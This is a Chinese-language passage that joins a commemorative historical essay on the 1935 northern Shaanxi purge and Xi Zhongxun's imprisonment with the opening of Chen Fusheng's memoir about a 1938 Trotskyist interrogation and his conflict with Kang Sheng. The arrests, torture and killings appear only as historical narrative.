驻西北,统一领导西北工作。”

谢子长、郭洪涛给中共中央驻北方代表的信,导致了中共中央驻北方代表孔原以及主管中共白区工作的上海临时中央对陕甘边根据地的不信任。同时,按照谢子长、郭洪涛的请求,中共驻北方代表孔原、上海临时中央局分别派出了朱理治和聂洪钧,奔赴西北根据地加强领导。由于这样的缘故,不管是朱理治还是聂洪钧,在抵达西北根据地前就都已经对陕甘边和红26军主要领导成员有了偏见,带着“改造”、“整肃”红26军和陕甘边根据地任务而来。

当时陕北根据地主要领导人之一(时任陕北特委组织部长)的郭洪涛给朱理治、聂洪钧等反映的关于陕甘边和红26军的大量负面材料对肃反的发生产生了极大的诱发作用。郭洪涛后来在回忆录中谈及自己在陕北肃反中的责任时说:“中央代表团负责同志来到陕北后,我向他讲过我误信别人反映的陕甘边特委一些不完全符合事实的情况和错误意见。……造成了对红26军老干部的不信任。”当1935年7月5日朱理治抵达西北根据地后,“郭洪涛向朱理治介绍了西北苏区的历史和现状,在介绍主要负责干部时,既说到他们的长处,也说了他们的短处。在介绍陕甘边和红26军的干部以及部分陕北干部时,较多地介绍了他们的‘短处’:刘志丹家是地主,父亲是民团团总,他一贯的右倾,是白军军官,带来了不少白军的影响;1933年红26军搞垮,不仅是杜衡的错误,也是刘志丹的责任;刘志丹、高岗恢复红26军以后的路线是错误的;他们是梢山主义、逃跑主义、富农路线;高岗政治上弱,没有能力,文化程度低,最调皮捣蛋,开过小差;马明方(陕北根据地主要领导人之一,时任陕北特委宣传部长)执行富农路线;张秀山、习仲勋是老好人,没有什么能力;贺晋年是军事冒险家、英雄主义;马文瑞被派到三边去,一年多没有回来,没有写过信或写过报告;高朗亭贪污了八十块钱;西安来的都不可靠;张文华、李西萍都是右派,都是通过红26军和西安的关系来的等等。”“因为‘中代’(这里指中共中央驻北方代表孔原)要求朱理治到西北后要信赖郭洪涛,解决陕甘边和红26军‘右倾’问题,开展反右倾机会主义的斗争,也因为郭洪涛的介绍与上级的交代在总体上一致,加上他是陕北人,长期在陕北工作,朱理治相信了他的介绍。朱理治没有与被认为有问题的陕甘边和红26军负责人谈话了解情况。”1935年9月1日,上海临时中央派遣的聂洪钧抵达西北根据地永坪镇后,聂洪钧也听到了基本相同的说法:“在西北工委半个多月时间,从郭洪涛、朱理治同志的口中,几乎随时都可以听到这样的一些谗言和说法。”由于这些原因在朱理治、聂洪钧一抵达西北根据地就对陕甘边和红26军产生了强烈的不信任,这就是日后肃反展开的时候,主持肃反的领导核心一致推行肃反的思想政治根源。

红25军抵达陕北后,西北革命根据地内部力量对比的变化

朱理治、聂洪钧先后到达西北根据地后,由于不了解当地实情与原主持西北根据地党政军工作的刘志丹、高岗、习仲勋等发生了一系列冲突,加深了朱理治等人对陕甘边和红26军主要领导的“成见”。

1935年“七月中旬,朱理治在文安驿干部会议上作了一个报告,讲了两三天。从国际讲到国内,从中央苏区的伟大胜利(实际这时中央苏区已经丢失了)讲到陕甘,当着我们的面(这里指红26军和陕甘边特委主要领导),说我们在政治上是‘右倾机会主义’,在军事上是‘枪杆子万能’等等。在讲到陕甘苏区当前进行的第三次反‘围剿’斗争时,提出要‘全线出击’,‘不让敌人蹂躏苏区的一寸土地’,要红军配合‘地方暴动,消灭在苏区内敌人的支撑点(即敌人重点固守的城镇)’,要红军‘去打延安、清涧和瓦窑堡’等城市,‘开展敌人侧翼及后方的广大革命战争的战线’,‘运用基本的运动战的策略,配合着阵地战’,粉碎敌人的新‘围剿’。还提出,‘争取神府和吴、绥、川南苏区打成一片,巩固宜川一带的苏区向韩城发展,恢复失去的米东、庆北、华池苏区,开展洛川工作,消灭甘、等地的白区,以洛川为中心,积极向定边、陇东发展,以马栏为中心向潼关、富平、泾阳发展,坚决巩固向南发展的路线’。”朱理治提出的这个明显带有“左倾”的而且连地理位置都没有搞清楚的战略方案遭到了刘志丹、高岗、张秀山等的反对,“会上,不少同志你一言我一语,使他们(指朱理治、聂洪钧等)很下不来台”。“会后,刘志丹等同志没有执行打延安、瓦窑堡、清涧的攻坚计划,仍按西北军委原定的作战计划,向北线敌人出击。”这些分歧加深了朱理治等对刘志丹的“固有成见”,在随后由他主持召开的“西北工委扩大会议”时,没有让西北工委和西北军委的主要成员刘志丹、高岗、张秀山、杨森、张达志等参加,并且秘密通过了要在陕甘进行反对右倾机会主义和肃反的决议。这其实已经将肃反的目标开始确定在了红26军和陕甘边特委上了。

朱理治、聂洪钧、郭洪涛等虽然有了肃反的决策,但是还没有实力在西北根据地内广泛展开肃反。当时西北根据地的主力部队还是以刘志丹率领的红26军为主,加之当时陕北红军改编的红27军也是刘志丹指挥的。朱理治、聂洪钧、郭洪涛等要开展大规模的针对刘志丹等的肃反时机还不到。正在这个时候,从外地转战而来的徐海东、程子华率领的红25军的到来逐渐改变了当时的力量对比,朱理治等开展肃反有了军事实力的支持。

红25军本身存在浓厚的肃反“情结”。红25军原是张国焘领导的红四方面军一部发展起来的,红四方面军长征后,这支部队也独立的长途转战,在辗转作战中逐渐向陕西方向靠拢。应该指出的是这支部队在对敌斗争中是英勇善战的,多次打败强敌的围追堵截,巧妙地利用各种方式转战各地,寻机消灭敌人,在转战中不断壮大。但是,由于受到红四方面军的影响,这支部队也存在着“肃反”严重扩大化的问题。首先,受到原来的红四方面军关于肃反的“左”的影响,对敌情估计过分严重。红四方面军总政委陈昌浩早在1931年11月22日作关于红四方面军“肃反详情”的报告时,对敌情估计就很严重。他称:“敌人要维持他们最后的挣扎,于是更加注意对苏区和红军进攻,但是敌人已感到用飞机大炮机关枪施用无效,所以使用改组派、AB团、第三党来打入我们苏区和红军内面来破坏红军和苏区。这个计划非常毒辣,飞机大炮我们容易看见,改组派、AB团、第三党我们不容易看见的。敌人对我们是何等的毒辣,每个同志不能忘记”,他进而指出:“经常或定期举行对每一个战斗员及官兵的个别整肃,坚决反富农再混进来,坚决引进与提拔工农干部。”红四方面军的这一肃反思想,对起源于红四方面军的红25军有很大的影响。红25军在艰苦转战中,在内部也不停的肃反,甚至大开杀戒,整肃内部。掌握肃反大权的戴季英等“乱打乱杀,问不出口供也杀人”,甚至连当时担任副军长的徐海东也曾遭受怀疑,只是在徐海东上战场拼死一搏后,才得到当时鄂豫皖苏区省委书记沈泽民等的信任,幸免于难。1934年又怀疑当时的军政治部主任郭述申是“第三党的首领”,并且有可能因此被杀死,幸亏当时徐海东坚决反对并且拍了桌子,才挽救了郭的命。还有,“军部有的领导同志又提出手枪团团长杜本润、政委傅天娇等8人是反革命,又要杀掉”,也在徐海东的坚决反对下,这几个人才幸得保全。这支部队到达陕北的时候还关押着三百多自己的所谓的“有问题的”官兵。

由于带有“肃反”情结,红25军1935年经过陕南时,误杀陕西共产党地下党员、杨虎城十七路军警备三旅旅长张汉民等人,并且由于对张汉民的误解长期未能消除,对与张汉民有密切联系的陕甘边根据地的党和军队也有了猜疑。这一事件的一个严重后果就是严重地影响了红25军领导层对刘志丹等红26军和陕甘边红色根据领导人的看法,对后来的西北根据地肃反产生了极其深远的影响。

红25军进入陕南后,受到国民党军队的围追堵截。杨虎城警备三旅旅长张汉民奉命率领所部参与“围剿”红25军。张汉民是中国共产党的地下党员,该部队中也有100多共产党员,张汉民多次利用自己的职务之便,对红25军给予各种帮助。但是,在双方的接触中也发生了误会,1935年4月9日,红25军误认为张汉民部要寻机进攻,遂于柞水九间房与张汉民部接火,在战斗中张汉民等被俘。红25军主要领导在审讯俘虏的时候,“把俘虏集中起来后,询问他们谁是共产党员,并要求共产党员站出来。结果,站出来不少人。十五军团(应为红25军)负责人根本不相信他们会是共产党员,认为是冒充的,把他们全杀了,其中包括警三旅旅长张汉民。”“处死张汉民和警备三旅中一批共产党员的长征路上的肃反,是吴焕先和戴季英掌握的。”这件事情最大的影响是加重了红25军领导层对陕西省委和陕甘边刘志丹等的怀疑,“吴焕先在给中共中央的电报中,对陕西中共组织颇多微词,甚至怀疑。”

因此当1935年9月25日,红25军抵达西北根据地党政军驻地永坪的时候,在和刘志丹等欢聚胜利会师的背后,内部危机也在不断的蔓延。不久,陕北肃反发生了。

陕北肃反中的习仲勋

如前所述,朱理治、聂洪钧抵达西北根据地后,通过各种途径虽然也发现了西北根据地所谓的“严重问题”,但是由于他们手中没有掌握足够的武装,尚不能在西北苏区全面推行“肃反”。正在这个时候,徐海东、程子华等率领的红25军转战陕北并且坚定的站在他们一边,这迅速改变了西北根据地内部力量的对比,肃反的发生不但有了理论的支持、政治上的准备,而且拥有了有力的军事后盾。

1935年9月底,朱理治在永坪主持会议,部署肃反工作。他指定后方肃反由郭洪涛领导,前方肃反由聂洪钧领导。10月1日,陕北肃反在永坪镇开始。就在这一天,肃反领导者逮捕了原陕甘边特委秘书长兼组织部长蔡子伟,陕甘边苏维埃政府秘书长张文华、黄子文、江旭和李西萍五人。10月2日,戴季英派人逮捕了陕甘边根据地重要领导人曾担任陕甘边特委书记和红26军政委的张秀山。同日下半夜,在朱理治和程子华的监督下,戴季英等人审讯张文华、蔡子伟,这些人在严刑拷打下供认刘志丹、高岗是右派反革命。在得到这个口供后,朱理治与程子华立即定策,以“北面对敌作战,需刘回来指挥为名,调刘回去秘密扣留审讯。”10月3日,在戴季英和政治保卫局的严刑逼供下,被捕人员屈打成招,口供越来越一致。内容主要有:刘志丹、高岗、张秀山是右派反革命;反革命组织的名称叫“前线委员会”,前任书记是张秀山,张秀山是蔡子伟介绍加入的,现任代理书记是刘志丹,他们曾经在一个庙里开过秘密会议;张庆孚煽动暴动,有秘密电台;刘、高勾结张庆孚要配合国民党搞兵变,等等。10月4日,朱理治要戴季英写信给前方,要求把高岗调回后方来。戴季英写好了信,没给朱理治看,就直接派通讯兵送往前方了。随后,主要针对陕甘边区根据地党政军的肃反大逮捕就开始了。“西北苏区的错误肃反进行了一个月左右时间,‘左’倾教条主义的执行者先后在前线和后方机关逮捕了包括刘志丹、高岗、习仲勋、张秀山、刘景范、马文瑞、杨森、蔡子伟、张文舟、李启明在内的一大批党政军主要领导干部,红26军营级以上、陕甘边地方县级以上干部全部予以关押。这些同志在狱中均遭受了种种非人的折磨。”

肃反过程中,肃反的执行者对被捕人员的迫害相当残酷,并且激化了西北根据地内部的矛盾。刘志丹被逮捕后,被戴上了沉重的手铐和脚镣,出狱的时候,手铐和沉重的脚镣磨坏了他的手脚,写字握不住笔,走路蹒跚,他的家属也遭到株连,妻子被编入劳改队。保卫局长戴季英多次提着鞭子毒打张庆孚。张策也因为拿下套在自己脖子上的绳子捉虱子,被看守用刀背砸了一顿。“当时给张秀山上的刑更厉害,给鼻子里灌辣子面,吊起来拷打。”红军营长于震西被抓后,被肃反的人用匕首一刀一刀地扎,逼他承认自己是反革命。被派到陕甘边执行肃反任务的执行者错杀了陕甘边区特委第一任书记金理科、陕甘边区妇委会主任张景文、陕甘边区南区委组织部长杜宛和陕甘边区军委副秘书长杨浩等二百多优秀干部。肃反导致了红军内部的分裂,根据地陷入危机,老百姓投向军阀和国民党等。原红25军与原西北根据地的红26、27军关系恶化,几乎到了刀兵相见的程度。原陕北红军干部高朗亭回忆:“联欢大会(指的是1935年9月17日,西北红军与转战到达西北的红25军的联欢会)以后,西北代表团书记朱理治下指令,将红军78师和81师的轻机枪全部调出(朱自己说西北红军不会使用),把连以下指战员的自来得枪(驳壳枪)全部调出,说是十五军团要成立手枪团,并给红78师和81师团以上(含团)的指挥机关都派宣传员督战督训,这是笔者亲自听朱理治同志讲的。……1935年10月12日榆林桥之战后,红81师被改组,原师政委张达志被调走,新政委张明先开口爱称‘老子’,打人骂人是家常便饭,被指战员称为‘老子政委’。师长穿双袜子也要他批准。”后来,杨尚昆遇到原81师师长贺晋年,贺晋年告诉杨,如果中央不来,我们就要同25军他们打起来了。81师是主要以原陕北红军改编而来的,尚不是“肃反”的重点,矛盾就已经激化到千钧一发的程度,肃反的重灾区以原红26军为主改编的红78师,不言而喻就更为严重了,“瓦窑堡大街小巷的恐怖气氛,仿佛凝聚在陕北大地上空的瓦斯,只要有人振臂一呼,稍微给点火花,它就会爆炸的。”深知陕北根据地这一情况的郭洪涛也感到忧虑。由于肃反对干部乱打乱杀,“26军、27军中发生了问题,在前方军心完全动摇的时候,前方军队一连、一排、一班地逃跑,干部一点精神都没有,恐怖、怀疑、准备暴动。”

肃反还激起了西北根据地内部的反叛“赤安事变”。“党中央在瓦窑堡为刘志丹等人平反昭雪、制止肃反的时候,以朱理治、聂洪钧、戴季英为首的肃反委员会已发出的通知却仍然起着破坏作用。赤安县就发生了枪杀革命干部、颠覆苏维埃政权的反革命暴乱。”“赤安暴乱”使得中共建立的政权:特区一个、县政府3个,区政府20多个,乡政府30多个受到严重破坏。“叛匪还杀害军干群70多人和许多中央红军伤病员”,一部分原红军官兵还投降了蒋介石与中共为敌,直到1936年4月,赤安县新的中心县委才组建。

从上面的介绍中,不难看出当时在西北根据地内部的肃反运动的残酷性,习仲勋受到的政治污蔑和酷刑迫害也是相当严重的。但是,在极端恶劣的环境下,习仲勋顾全大局,舍己为人、为党尽忠等高尚品质也在此时凸显了出来。

习仲勋在刘志丹被逮捕后不久,被以“党棍”罪名,开除出党,撤销职务,随后以谈话为名被诱捕。“聂洪钧给习仲勋罗织罪名说:第一骂群众是土匪;第二不搞土地革命,只分田地,不分山地;第三给富农通风报信。”习仲勋被扣押后,最初关在王家坪,后来押往陕甘晋省委驻地瓦窑堡。押解途中,给他头上套了一个只露两只眼睛的黑帽子,肩上还让扛了两杆长枪。习仲勋在后来谈及这段历史时说:“晚上睡觉时仍将人捆着,脚上、脖子上也加了绳子。‘左’倾机会主义路线的执行者搞法西斯审讯方式,天气很冷,不给我们(指习仲勋等被逮捕的相关人员)被子盖,晚上睡觉缚绑着手脚,绳子上都长满虱子;一天只放两次风,有人拿着鞭子、大刀,看谁不顺眼就用鞭子抽,用刀背砍”。与习仲勋同被关押的陕甘边根据地重要领导人张策后来回忆他们在狱中的情景时说:“保卫局的监狱设在瓦窑堡汇川通号的一个四合院内,每间小房子都关着十几个人。每个人都戴着脚镣,并用绳子捆着,当时天寒地冻,气温在零下二十多摄氏度,但地上仅放些谷草,无铺无盖,大多数人冻得睡不着觉。吃不饱饭不算,水也喝不上。病了也只好拖着。有个别同志拉肚子,要去厕所也不允许,只好拉在睡觉的地方,弄得房子里气味难忍。打骂虐待,更是家常便饭。……天越冷,人的小便越多,又不准出去,只好尿在自己身边的铺草中,有的尿在自己吃饭的碗里,早晨放风的时候倒掉。特别值得一提的是,在这个监狱的后院已经挖好了一个大坑,随时都可以无声无息地把我们这批人埋掉。”时任陕甘晋苏维埃政府粮食部副部长兼调查统计科和运输科长的刘培植回忆:“习仲勋同志被押在一间四面透风的破屋内,缺衣少盖,天气也渐渐冷起来,看到此种情景,我有点于心不忍,就偷偷地给他送了一条毡绒毯子。戴季英得知后十分恼火,即刻把我叫过去大声训斥说:‘小刘,你怎么给反革命送东西!’”。刘培植也因这件事情受到怀疑,险遭不测之祸。在遭受身体折磨的同时,习仲勋也受到了严重的政治污蔑,习仲勋后来回忆说:“开始说我是取消主义,后来说我是右派,并说我是右派前线委员会的书记。”“在苏区大批干部被关押和刑讯逼供之时,在执行作战任务的前方,错误肃反已开始用活埋的方法杀害革命同志。在省委所在地也挖好土坑,做从肉体上彻底肃清所谓右派的准备。”此时的习仲勋生命已经危在旦夕,随时都有被左倾路线的执行者“从肉体上消灭”的可能。

在此千钧一发的危急时刻,习仲勋充分展现了自己舍己为人、顾全大局、忠心为党的高贵品质。肃反刚开始的时候,肃反主持者多以苏维埃政府主席习仲勋的名义将当事人调往后方,然后再予以逮捕。习仲勋在承担巨大风险的情况下以自己的名义硬担保了一大批受诬的同志,如果这些人发生了问题,就要立刻逮捕他。在自己被捕前,“习仲勋对越来越多的同志被捕,内心感到非常不安和焦虑,时常彻夜难眠,以至身体也出现了不良反应,每听到有人被捕的时候,就周身不适,频繁腹泻。不久他身边一些人员甚至连警卫员也被关押,他已隐约感到自己也难逃厄运。刘景范关切地对习仲勋说,还是暂时离开此地,躲一躲。习仲勋说:‘不能走。把我杀了,我也不能走,这些同志(指前面习仲勋以自己名义担保无罪的那些人)都是以我的名义叫回来的,我怎么能走呢?’”“在习仲勋被关押期间,有人偷偷问习仲勋,是否可以逃跑脱离危险境地?暗示可以帮助他逃跑。习仲勋只回答了四个字:‘为党尽忠’”。在遭受刑讯逼供时,“习仲勋和大家一起在监狱中进行了坚决的斗争,怒斥‘左’倾分子是‘败家子’、‘法西斯分子’”。在遭受刑讯逼供时,习仲勋依然大义凛然,不说违心话,甚至在生命受到威胁时,也绝不为了保全自己,争取“自首”机会,牵连别的同志,而是据理力争,扞卫自己的清白,为其他受害的战友辩护,从而减轻这次肃反的惨烈后果。习仲勋后来回忆这段历史时说:“上级亲自审讯我的是朱理治、郭洪涛、戴季英。他们叫我自首。我说,这有什么自首的?我说我是革命的,你们说我不是革命的,我也豁出去了,说我什么也不要,就是你们不要用笨刀子杀我。”

1935年10月19日,中共中央到达西北革命根据地的吴起镇后,正如习仲勋后来回忆时说的那样“满天乌云风吹散,毛主席来了晴了天”,陕北肃反的严重局面有了转机。当时毛泽东等中共中央领导也不知道西北根据地的具体情况,10月20日,毛泽东和周恩来在接见了活动在吴起镇当地的一支游击队负责人张明先后,才得知刘志丹等被逮并且关押在瓦窑堡的情况。在张明先的介绍下,毛泽东又于22日晨接见了了解肃反情况的陕甘边第二路游击队政委龚逢春。毛泽东从龚逢春处得知西北革命根据地正在进行肃反,刘志丹、高岗等西北革命根据地的领导人被逮捕,有的被捕人员已经被杀害的消息,就着手处理“陕北肃反”的问题。毛泽东立即派遣当时的国家保卫局执行部部长王首道、刘向三等前去瓦窑堡传达停止肃反的命令。王首道等人经过仔细的调查,纠正了肃反时期强加给刘志丹等的“罪名”,并且很快就释放了被捕的刘志丹等人。

与此同时,“虽说刘志丹一出狱就忙着工作,但当时给他的结论只是说不是反革命,而还是有‘严重右倾’。”习仲勋的问题就更没有得到解决,但是习仲勋没有因此而气馁,而是不计较个人得失,以更加积极的态度投入革命工作。习仲勋在被释放的当夜对与自己一起受到各种残酷折磨的同志说:“我们快要分配工作了,到了工作岗位,要用实际行动表达我们对党对人民对革命事业的忠诚。”更为可贵的是,以刘志丹、习仲勋为代表的一批西北革命领袖,在自己受到残酷的各种迫害,险遭杀害之后,并没有就事论事,计较个人的事,而是用更加深邃的战略眼光思考中国革命的经验教训问题。“1936年刘志丹率部东征前,习仲勋去看刘志丹。刘志丹对他说:‘从多年的经验看,我们党犯的‘左’的错误多,这是小资产阶级急性病、狂热病的表现,企图一个早上把一切都变个样。他们看了一点马列的书,不看中国实际,以空想代替现实,不讲方法策略,因此总是失败。有这种思想的人,再和个人主义结合起来,就抓权,想当轰轰烈烈的大英雄,因之反对一切不同的意见。为了突出自己,甚至要致同志于死地。’”习仲勋听了刘志丹的话后,深表赞同,一起和刘志丹做那些对肃反还有各种不满情绪的战友的工作。此后,在以毛泽东为首的中共中央的正确领导下,强加在习仲勋身上的各种“莫须有”的罪名被逐渐的清除,习仲勋遵从党的安排从一个重要岗位转战到另一个重要岗位,为中国革命的胜利做出了巨大的贡献。在长期革命斗争的洗礼下,他也由西北革命根据地的重要领袖成长为党和国家重要的开国元勋,尤其值得一提的是,在经历小说《刘志丹》冤案、十年文革磨难后的习仲勋,在粉碎“四人帮”自己获得政治解放后,勇挑大梁,主政广东,排除各种困难“杀出一条血路”,成为改革开放伟大事业的开路先锋,在新时期的社会主义现代化建设中又做出了卓越的贡献。

“陕北肃反”虽然已经过去了70余年,在这次肃反中受到残酷迫害的习仲勋等老一辈无产阶级革命家中的大多数也已经相继去世,但是当时只有22岁的习仲勋在极端严峻的形势下所表现出来的无产阶级革命家大公无私、舍己为人、顾全大局、忠于党的事业的高贵品质却历久而弥新,永远值得我们学习。在社会主义现代化事业阔步前进的今天,总结党史上的正反经验教训,更好地为现代化事业服务,继承习仲勋等老一辈无产阶级革命家毕生追求的伟业。这或许就是对习仲勋等革命家最好的缅怀。

一位老红军的传奇人生之一特殊囚徒(陈复生)

$
0
0
一位老红军的传奇人生之一特殊囚徒(陈复生)
来自:公安部   时间:2007年02月05日
    我投身革命队伍较早,挫折较多。在不少人眼里,我是个迷。许多战友、同事及家乡的父老兄弟,关心我,信任我,但也不了解我的全部经历,尤其不清楚我“犯错误”的真相,也不太清楚我对参加革命六十多年、三次被开除党籍的经历有何感想。所以,多年来我一直想写一个较全面的东西,献给战友、同事和父老乡亲,向他们诉一诉衷肠,表明我的心迹。这就是我写作的唯一动机。
一、一起托派案件
1938年的延安,生机盎然,英姿勃勃。经过近3年的努力,陕北根据地进一步扩大和巩固,第二次国共合作已经开始,全国范围内的抗日民族统一战线基本形成。延安已成为抗日战争的领导中心,成为全国人民特别是热血青年向往和追求的革命圣地。可是,1938年的我,情况却不那么美妙。事情是从我审理一起托派案件开始的。1935年底,红军又成立了方面军保卫局,我任一科科长。1936年夏季撤消了方面军保卫局,成立了西北保卫局,周兴当局长,我任红军工作部长。这期间,二、四方面军都已到达陕北根据地。中共决定成立方面军司令部、政治部和保卫部。司令员为彭德怀,政委任弼时,政治部主任杨尚昆。不知什么原因,杨主任当时对我说:你跟我到前方方面军保卫部去工作,不然你会犯错误的。于是我带了龙飞虎、黄天祥、黄赤波、李月波、冯行盛、沈开泰等同志随杨主任到了前方。我负责保卫部的工作。工作一段时间以后,延安抗日军政大学成立,我迫切希望学习,就向杨主任提出了要求,并推荐十五军团保卫部长杨奇清同志接任我的工作,得到了杨主任的批准。然后,我先到保安县找到朱总司令,说明了我想学习的愿望。朱总司令很高兴,当即用铅笔给我写了一张介绍信。这样,我于1936年底到抗大学习,先在二队,后到一队,任十组学习组长。
也就在我进抗大的时候,西北保卫局(在保安)撤销,在延安建立了陕甘宁边区政府保安处。1937年5月,我从抗大毕业,又被安排在保安处工作,先任侦察部长,后在执行部负责。在执行部负责时,未给我下命令。到1952年“三反”给我定罪时,说我那时是副处长。但那时的保安处负责人从未宣布过此项任命,我自己也不知道。我到保安处工作,是两方面原因凑成的,一是当时国民党要派一个高级考察团到延安,其警卫人员都是团以上军官。为掌握他们的活动情况,我方也决定抽一批保卫工作骨干作“招待”和警卫工作。在这情况下,博古同志调我到了保安处(博古同志当时负责什么工作,他为什么调我,我不知道)。二是当时保安处侦察部长犯了经济上的一点错误,被调离了保安处,所以我一去就任侦察部长。当初,杨尚昆同志带我到前方,就是不希望我在保安处工作,可转了一圈,我又到了这里。结果,被杨尚昆同志不幸而言中,没多久,我就进了监牢。
1938年3月间,延安的陕北公学里来了3名颇为与众不同的学员,一男二女,男的张醒,已是38岁的人了,身体有残,缺一支胳膊。一个女的30岁左右,虽不是十分秀美,却也很端庄,从言谈举止可以看出,她的活动能力很强。另一个女的只有20岁的样子,长得很漂亮。这3人可是有点身份的。据地下党的可靠情报反映,张醒是黄埔军校第六期毕业生,是托洛斯基派山西分委书记,在山西的公开身份是阎锡山手下的一个军长;年岁大的女人原是项英同志的爱人,1934年10月中央红军离开苏区时,将她留在苏区坚持斗争,后被捕叛变,投敌后和国民党一名特务结了婚。年轻的女人是胡宗南手下的一个宪兵队长的老婆。至于这3个人为什么一起来延安,情况不明。
根据地下党提供的情报,保安处侦察部(当时的部长是卜鲁,我已到执行部工作)立即逮捕了这3个人。但在审问时却出了麻烦,张醒是一言不发,一字不露,卜鲁性急之下,用电话线给他通了电。这一下,他更是顽固对抗到底了,押了他一个月的时间,什么情况也没了解到,搞得卜鲁毫无办法。在这种情况下,将张犯交执行部审问。鉴于前面工作的教训,我对张犯采取了迂回的战术,用软化的方法套取口供。恰好,我保安处邮政检查科长周越华同志也是黄埔六期毕业的学生。我首先通过周越华同志摸清了黄埔六期毕业班的情况,然后有意增加与张醒接触的机会。提审他时,我采取个别谈话的方式,而且一概不涉及他的案情,只谈一般的情况、到延安后的看法等无关紧要的问题。为了表示对他的关心,有时我故意装成兴奋的样子,搞点菜饭给他吃。时间一长,张犯不仅放松了对我的戒备,而且急于想进一步摸清我的身份。在一次谈话中,他突然问我:
“陈部长,我过去好像在什么地方见过你?”
我心中一喜:我和你周旋了一个多月的时间,就是要你先说出这句话。但我表面上装得一切了然的样子,说:
“当然见过,你不是黄埔六期的学生吗?你在高年级队,我年岁小,在低年级队。”
“那你老弟怎么到了这里?还混得不错呀!”张醒又试探着问我。
“老兄取笑了!我是被俘过来的。你知道四次围剿吗?当时我在陈时骥师长(国民党的59师师长)手下当一名团副。唉!那一仗太倒霉了,52师、59师全让人家吃光了,陈师长、李明师长(敌人52师师长)都被俘虏了,我们也一样,好在我上学时认识这边几个人,又年轻,所以过来后对我还算信任。”
说着,我又把身上藏的59师团副的符号给他看了一下。
我这一番绘声绘色、连蒙带骗的谈话,真的把他唬住了,他很相信我过去的经历。于是他开门见山地要我救他。
我又给他演戏了。脸上露出非常为难的神色:“张兄!不是我不帮忙,太难了,上头说你的案子非常大,可我也不知到底是什么情况,我说了哪算哪!”
就这样,张醒决定向我谈他的情况,并要我对天发誓,为他保密。这对我当然没什么难的,答应就是了。
于是,张犯把他的几重身份——托派山西分委书记、晋军高级军官、特务——都告诉了我,并初步讲了他们来延安的目的。
在谈到托派情况时,他颇为得意地说:“你们这里的高级人物也参加我们的组织!”
“谁?”我漫不经心地问了一句。
“康生就是。他1930年在上海让国民党给逮住了,捕后就参加了托派。”
“你这消息大概不准吧?他现在可是共产党中央的社会部长啊!”
“没错,是张慕陶亲口告诉我的。”
张慕陶当时是中国托派的头子。张醒的话使我有点愕然了。但我还是将信将疑。
对张醒的审理有了重大突破,下一步的工作就是进一步审问他带来的其他特务的情况了。我怀着兴奋的心情向我的直接领导全面汇报了工作进展的情况和张醒的口供,包括他讲的有关康生的问题。我的这一做法是严格执行保卫工作纪律的,不越权,不越级,坚决服从直接上级的领导。可是万万没有想到,这个人在没有向任何中央首长汇报的情况下全盘托给了康生本人。
对于他为什么这样做,我不清楚。也许他的做法有其道理,但康生的反映却是不折不扣的阴谋家、野心家的丑恶行径了。

二、怒打康生,锒铛入狱
倒霉的当然首先是张醒。就在我向顶头上司汇报以后,张醒很快被秘密处决了。至于究竟是什么时间,由谁执行的,我至今也不知道。我是从张醒的两件东西确定他已被杀这一事实的。张犯有一副毛朝外的皮手套(在延安这种手套是很罕见的)和一件高级皮大衣。有一天,这两件东西却出现在我的那位领导住的窑洞外的院子里,物在人无,事情是非常明显的。后来阎锡山还专门来电,向保安处要张醒这个人,复电是:延安无此人。
张醒死后,康生的魔爪伸向了我的头顶。可惜,在大祸临头之际,我却毫不知晓,没有任何思想准备,而康生确实不愧称一个“老”字,谋算准确,出手不凡,使我一下子掉进他设下的陷阱之内。
1938年7月28日,即在我审完张醒案件的一个月后,康生突然大驾亲临,来到保安处,亲自找我和黄赤波、汪孝忠向他汇报工作。这是我和康生第一次见面,因他刚从苏联回到延安(1937年11月)。过去,我从未在他的领导下工作过,实在不知道这位“马王爷的三只眼”。可是,他对我的情况却了如指掌。真是来者不善,善者不来。
“汇报”是在保安处的一间大窑洞里进行的,只有黄赤波、汪孝忠和我在场。稍微寒暄几句以后,谈话即进入了正题。但都不是我们向康生汇报,而是他对我们进行审问式的询问,当然一开始态度还是颇为“和善”的。
“湖生同志,听说你长征前就到保卫局工作了?成绩不小嘛!好啊!”
我微微一愣,不知怎么回答。只好把我的简历向他简单讲了一下。
“现在工作怎么样啊?听说你们不太安心保卫处的工作,要求调走?”
“小辫子”抓得很准,我们确实有这种想法。说实话,我们对顶头上司的领导作风和水平不怎么服气,与他合作得也不太好。除了有工作向他汇报之外,平时很少到他那里去。另外,从个人利益考虑,在保安处提拔的机会太少。基于这两种考虑,我和黄赤波都要求过调出保安处,汪孝忠可能也提过这种要求。所以,我只好老老实实承认:
“是!我是想调出去。”
“这就不好了嘛!都是老同志了,怎能不以革命利益为重,搞小集团活动呢?”
从不安心工作一下子升到“小集团活动”,康生实在是善于“上纲上线”的老手。我的火儿腾地升了起来:“首长,我们要求调动工作是事实,可没有什么小集团活动啊!”
康生的态度也严厉起来:“你们几个不服从领导,一起要求调动,还一块打麻将,赌博,你说这是什么性质的问题?不是小集团是什么?!”
看来,有人告了我们的状,而且到了非常“详细”的地步。当时,我们在休息时确实打过麻将,谁输了就拿津贴费到街上买个西瓜大家吃,连这点事康生都知道了,并作为“小集团活动”的证据拿了出来,我当时气得脸都变色了。但我不知道,这正是康生所希望的。
“好了,这件事不用说了,你们交待一下贩买大烟的违法活动吧!”康生以不容置疑的口吻给我们扣上了“小集团”的帽子,马上又端起一顶更大、更可怕的帽子。这一下,我简直气疯了。
原来,贩卖大烟确有其事,我是知道的,但和我并无关系。当时,为了侦察工作的需要,保安处在延安城里设了几个联络点。一是在延安大街西南处开设一个修表店,由王化开同志负责;再就是开办了陕北饭店,由杨原珍同志负责。开办饭店的钱是周兴从公家银行借的。因主要精力用于侦察工作,加之缺乏经验,管理不善,使饭店赔了本,无法还银行的借款。因此,保安处负责人擅自批准用特别费派人到陕西、三边地区去买大烟,回到延安地区卖。这时我还在抗大学习,没到保安处。1937年4月,仍是这个领导又指使杨原珍派人跑第二趟。我5月份到保安处,派的人已走了一个多月。又过了一个月的时间才回来。结果在延安出售时,被延安市政府发现,追查此事,追查到了陕北饭店。当时,我已在侦察部负责,所以成了陕北饭店的直接上级。保安处这个领导害怕承担责任,就往我身上推。由于事情的前因后果大家都清楚,而且在当时那种严峻的斗争情况下,在经济条件极端艰苦的形势下,大家一致认为,这么做是为了工作,加上延安市政府追查后也没对我们怎么样,所以我对此事既没承认是我决定做的,但也没把真相都向别人讲清楚。这一点当事人心里自然清楚。可现在康生却把这件事拿出来。我心里一下子明白了。这是串通起来要陷害于我,是找“茬儿”来了,怪不得康生第一次找我们谈话,我们的负责人却不参加。
